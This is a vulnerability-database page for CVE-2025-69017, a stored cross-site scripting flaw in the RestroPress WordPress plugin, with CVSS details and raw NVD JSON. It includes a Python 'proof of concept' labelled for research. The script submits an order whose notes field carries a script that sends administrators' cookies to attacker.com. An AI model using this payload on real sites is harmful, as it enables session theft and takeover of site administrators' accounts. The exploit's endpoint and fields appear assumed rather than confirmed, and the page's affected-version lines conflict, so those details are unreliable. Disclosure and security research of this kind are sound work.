Security Vulnerability Report
中文
CVE-2025-69017 CVSS 6.5 MEDIUM

CVE-2025-69017

Published: 2025-12-30 11:16:00
Last Modified: 2026-04-23 15:36:17

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Magnigenie RestroPress restropress allows Stored XSS.This issue affects RestroPress: from n/a through <= 3.2.8.6.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

RestroPress <= 3.2.8.6 (所有版本从n/a至3.2.8.6)
WordPress RestroPress Plugin 3.2.4.2 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-69017 PoC - RestroPress Stored XSS # Target: WordPress site with RestroPress plugin <= 3.2.8.6 def exploit_stored_xss(target_url, vulnerable_field='order_notes'): """ Exploit stored XSS in RestroPress plugin Args: target_url: Base URL of WordPress site vulnerable_field: Field to inject XSS payload (order_notes, customer_name, etc.) """ # XSS payload - steals admin cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # WordPress REST API endpoint for RestroPress orders api_endpoint = f"{target_url}/wp-json/restropress/v1/orders" # Order data with XSS payload order_data = { "customer_name": "Test Customer", "customer_email": "[email protected]", "customer_phone": "1234567890", "delivery_address": "123 Test Street", "order_notes": xss_payload, # XSS injection point "payment_method": "cod", "order_total": "25.99" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Submit order with XSS payload response = requests.post(api_endpoint, json=order_data, headers=headers, timeout=10) if response.status_code in [200, 201]: print("[+] Order submitted with XSS payload successfully") print(f"[+] Payload stored in: {vulnerable_field}") print("[+] XSS will execute when admin views order in dashboard") return True else: print(f"[-] Failed to submit order. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-69017-poc.py <target_url>") print("Example: python cve-2025-69017-poc.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_stored_xss(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69017", "sourceIdentifier": "[email protected]", "published": "2025-12-30T11:16:00.017", "lastModified": "2026-04-23T15:36:16.990", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Magnigenie RestroPress restropress allows Stored XSS.This issue affects RestroPress: from n/a through <= 3.2.8.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/restropress/vulnerability/wordpress-restropress-plugin-3-2-4-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}